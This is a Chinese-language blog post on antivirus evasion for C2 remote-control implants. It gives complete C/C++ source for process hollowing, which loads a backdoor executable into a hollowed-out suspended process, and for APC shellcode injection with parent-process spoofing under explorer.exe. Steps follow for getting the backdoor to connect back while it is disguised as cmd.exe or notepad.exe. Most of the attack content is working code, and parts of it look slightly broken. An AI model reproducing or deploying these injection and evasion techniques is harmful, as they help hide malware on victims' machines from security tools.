【免杀】C2远控-APC注入-进程镂空

进程镂空&傀儡进程(主要过内存扫描)

进程镂空(Process Hollowing)
是一种防御规避的进程注入技术,以红队隐匿技能为主的辅助免杀手法

代码
#include <stdio.h>
#include <Windows.h>

typedef NTSTATUS(NTAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);

int main(int argc, wchar_t* argv[])
{
	IN PIMAGE_DOS_HEADER pDosHeaders;
	IN PIMAGE_NT_HEADERS pNtHeaders;
	IN PIMAGE_SECTION_HEADER pSectionHeaders;

	IN PVOID FileImage;

	IN HANDLE hFile;
	OUT DWORD FileReadSize;
	IN DWORD dwFileSize;

	IN PVOID RemoteImageBase;
	IN PVOID RemoteProcessMemory;




	STARTUPINFOA si = { 0 };
	PROCESS_INFORMATION pi = { 0 };
	CONTEXT ctx;
	ctx.ContextFlags = CONTEXT_FULL;
	si.cb = sizeof(si);


	char path[] = "HelloWorld.exe";
	BOOL bRet = CreateProcessA(
		NULL,
		(LPSTR)"calc",
		NULL,
		NULL,
		FALSE,
		CREATE_SUSPENDED,
		NULL,
		NULL,
		&si,
		&pi);

	//在本进程获取替换文件的内容
	hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
	dwFileSize = GetFileSize(hFile, NULL); //获取替换可执行文件的大小
	FileImage = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	ReadFile(hFile, FileImage, dwFileSize, &FileReadSize, NULL);
	CloseHandle(hFile);

	pDosHeaders = (PIMAGE_DOS_HEADER)FileImage;
	pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)FileImage + pDosHeaders->e_lfanew); //获取NT头

	GetThreadContext(pi.hThread, &ctx); //获取挂起进程上下文

#ifdef _WIN64
	ReadVirtualMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &RemoteImageBase, sizeof(PVOID), NULL);
	// 从rbx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
#endif
	// 从ebx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
#ifdef _X86_
	ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + 8), &RemoteImageBase, sizeof(PVOID), NULL);
#endif

	//判断文件预期加载地址是否被占用
	pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");
	if ((SIZE_T)RemoteImageBase == pNtHeaders->OptionalHeader.ImageBase)
	{
		NtUnmapViewOfSection(pi.hProcess, RemoteImageBase); //卸载已存在文件
	}

	//为可执行映像分配内存,并写入文件头
	RemoteProcessMemory = VirtualAllocEx(pi.hProcess, (PVOID)pNtHeaders->OptionalHeader.ImageBase, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(pi.hProcess, RemoteProcessMemory, FileImage, pNtHeaders->OptionalHeader.SizeOfHeaders, NULL);

	//逐段写入
	for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
	{
		pSectionHeaders = (PIMAGE_SECTION_HEADER)((LPBYTE)FileImage + pDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
		WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)RemoteProcessMemory + pSectionHeaders->VirtualAddress), (PVOID)((LPBYTE)FileImage + pSectionHeaders->PointerToRawData), pSectionHeaders->SizeOfRawData, NULL);
	}

	//将rax寄存器设置为注入软件的入口点
#ifdef _WIN64
	ctx.Rcx = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
	WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
#endif

	//将eax寄存器设置为注入软件的入口点
#ifdef _X86_
	ctx.Eax = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
	WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
#endif


	SetThreadContext(pi.hThread, &ctx); // 设置线程上下文
	ResumeThread(pi.hThread); // 恢复挂起线程

	CloseHandle(pi.hThread);
	CloseHandle(pi.hProcess);
	return 0;
}

1.创建一个挂起合法进程
2.读取执行代码
3.获取挂起进程上下文与环境信息
4.卸载挂起进程内存
5.写入执行代码
6.恢复挂起进程

傀儡进程演示
  • 将代码生成的程序打开,并用进程监控工具进行监控
    刚打开时会发现存在有这个进程。project1.exe

    然后等一下就发现它不见了。其实是变成了cmd.exe(变成什么进程我们是可以在代码里面控制的)

    控制的代码位置
如何上线
  • 这里有两种上线方式,一直是用后门程序,一种是用后门代码

    后门程序: 将你的后门程序写入代码中,让它去运行,如这里是HelloWorld.exe
    后门代码: 将你的后门代码写在这里
    这里推荐第二种方式(第一种必须要满足 两个程序都要实现免杀才行)
上线演示
  • 先生成一个上线程序
  • 将上线后门改成 HelloWorld.exe 与代码当中一样,和代码程序放在同一个目录
  • 运行 project1.exe,会发现已经上线,且进程里面没有project.exe 只有一个傀儡进程cmd.exe

APC注入&进程欺骗(主要过内存扫描)

APC全称为Asynchronous Procedure Call,叫异步过程调用,
是指函数在特定线程中被异步执行,在操作系统中是并发机制。

同步调用与异步调用

同步调用:
我们需要去烧水,首先我们先去需 要给水壶添水,然后将水壶连接上电之后,然后加热,等水烧开了然后取水,在烧水的等待的时间中,我们不去做任何事情。这就是同步。
异步调用:
就是我们在烧水的等待的过程中去干一些其他的事情,比如玩手机,打扫卫生等等。

流程
1、获取父进程PID
2、获取当前进程权限
3、创建并分配写入内存
4、写入SC并APC进行调用
APC注入 配合进程注入实现父进程欺骗

代码
// Parent spoofing.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
#include <fstream>
using namespace std;
DWORD getParentProcessID()
{
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 process = { 0 };
    process.dwSize = sizeof(process);
    if (Process32First(snapshot, &process))
    {
        do
        {
            if (!wcscmp(process.szExeFile, L"explorer.exe"))
            {
                printf("Find explorer failed!\n");
                break;
            }
        } while (Process32Next(snapshot, &process));
    }
    CloseHandle(snapshot);
    return process.th32ProcessID;
}
int main()
{
    unsigned char shellCode[] = "你的shellcode";

   
  
    
    STARTUPINFOEXA sInfoEX;
    PROCESS_INFORMATION pInfo;
    SIZE_T sizeT;
    //打开explorer进程获取当前进程所有权限
    HANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, getParentProcessID());
    //用0填充数组
    ZeroMemory(&sInfoEX, sizeof(STARTUPINFOEXA));
    //初始化指定的属性列表,创建进程和线程
    InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT);
    //设置进程属性并从堆中分配内存
    sInfoEX.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT);
    InitializeProcThreadAttributeList(sInfoEX.lpAttributeList, 1, 0, &sizeT);
    //更新用于进程和线程创建的属性列表中的指定属性
    UpdateProcThreadAttribute(sInfoEX.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof(HANDLE), NULL, NULL);

    sInfoEX.StartupInfo.cb = sizeof(STARTUPINFOEXA);
    CreateProcessA("C:\\Windows\\System32\\notepad.exe",
        NULL,
        NULL,
        NULL,
        TRUE,
        CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT,
        NULL,
        NULL,
        reinterpret_cast<LPSTARTUPINFOA>(&sInfoEX),
        &pInfo);
    //分配内存
    LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pInfo.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    SIZE_T* lpNumberOfBytesWritten = 0;
    //写入内存
    BOOL resWPM = WriteProcessMemory(pInfo.hProcess, lpBaseAddress, (LPVOID)shellCode, sizeof(shellCode), lpNumberOfBytesWritten);
    // APC调用
    QueueUserAPC((PAPCFUNC)lpBaseAddress, pInfo.hThread, NULL);
    //启动线程
    ResumeThread(pInfo.hThread);
    CloseHandle(pInfo.hThread);
    return 0;
}
演示
  • 写入shellcode并生成程序
  • 这里我生成的程序是 project3.exe,执行程序,并用进程监控软件进行监控

    执行后会发现直接就是 notepad.exe,并没有像进程镂空那样先显示 Project1.exe 再转换为傀儡进程

相关推荐

  1. C++开源项目研究——gh0st(一)

    2024-06-12 11:34:03       32 阅读
  2. -一句话的

    2024-06-12 11:34:03       62 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-06-12 11:34:03       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-06-12 11:34:03       100 阅读
  3. 在Django里面运行非项目文件

    2024-06-12 11:34:03       82 阅读
  4. Python语言-面向对象

    2024-06-12 11:34:03       91 阅读

热门阅读

  1. 分布式系统

    2024-06-12 11:34:03       24 阅读
  2. Python语言在金融领域的应用探索

    2024-06-12 11:34:03       25 阅读
  3. Thymeleaf 2升级到Tymeleaf 3导致Layout不起作用

    2024-06-12 11:34:03       22 阅读
  4. Android单例的几种实现方式

    2024-06-12 11:34:03       29 阅读
  5. idea自动生成单元测试工具

    2024-06-12 11:34:03       31 阅读
  6. linux中sed命令和awk命令如何使用??????

    2024-06-12 11:34:03       29 阅读
  7. Django里的模板变量

    2024-06-12 11:34:03       27 阅读
  8. SQL题——连续问题

    2024-06-12 11:34:03       19 阅读
  9. 【编译安卓ROM常见错误和注意事项】

    2024-06-12 11:34:03       24 阅读
  10. C#(C Sharp)学习笔记_继承【十七】

    2024-06-12 11:34:03       35 阅读
  11. C++中的装饰器模式

    2024-06-12 11:34:03       25 阅读
  12. fabric.util.enlivenObjects是什么意思

    2024-06-12 11:34:03       22 阅读
  13. Mongodb篇(中)(3)

    2024-06-12 11:34:03       27 阅读
  14. 数据仓库之分层存储

    2024-06-12 11:34:03       26 阅读
  15. PHP框架详解-symfony框架

    2024-06-12 11:34:03       24 阅读